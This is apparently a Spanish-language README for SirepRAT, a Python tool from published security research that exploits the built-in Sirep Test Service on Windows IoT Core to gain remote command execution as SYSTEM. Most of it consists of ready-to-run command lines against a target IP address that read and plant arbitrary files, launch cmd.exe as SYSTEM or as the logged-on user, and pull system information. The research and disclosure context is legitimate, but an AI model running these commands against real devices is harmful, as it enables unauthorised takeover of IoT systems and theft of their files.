
Ejecución remota de comandos como SYSTEM en Windows IoT Core (versiones disponibles para Python2.7 y Python3)

SirepRAT ofrece capacidades RAT completas sin necesidad de escribir un RAT real en el objetivo.
El método explota el Sirep Test Service que viene integrado y se ejecuta en las imágenes oficiales ofrecidas en el sitio de Microsoft. Este servicio es la parte cliente de la configuración HLK que se puede construir para realizar pruebas de controladores/hardware en el dispositivo IoT. Sirve el protocolo Sirep/WPCon/TShell.
Desglosamos el protocolo Sirep/WPCon y demostramos cómo este protocolo expone una interfaz de comandos remota para atacantes, que incluye capacidades RAT como obtener/colocar archivos arbitrarios en ubicaciones arbitrarias y obtener información del sistema.
Basándonos en los hallazgos extraídos de esta investigación sobre el servicio y el protocolo, construimos una sencilla herramienta en Python que permite explotarlos mediante los diferentes comandos soportados. La llamamos SirepRAT.
Cuenta con una interfaz de usuario fácil e intuitiva para enviar comandos a un objetivo Windows IoT Core. Funciona en cualquier dispositivo conectado por cable que ejecute Windows IoT Core con una imagen oficial de Microsoft.
Las diapositivas y el white paper de la investigación están en la carpeta docs
pip install -r requirements.txt
python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v
python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"
Con argumentos, suplantando al usuario actualmente conectado:
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"
(Intenta ejecutarlo sin el indicador as_logged_on_user para demostrar la capacidad de ejecución como SYSTEM)
python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice
python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"
python SirepRAT.py --help
Dor Azouri (@bemikre)
movatica (@movatica) - ¡portado a python 3! (en la recta final de 2020)
BSD 3 - cláusula "New" o "Revised"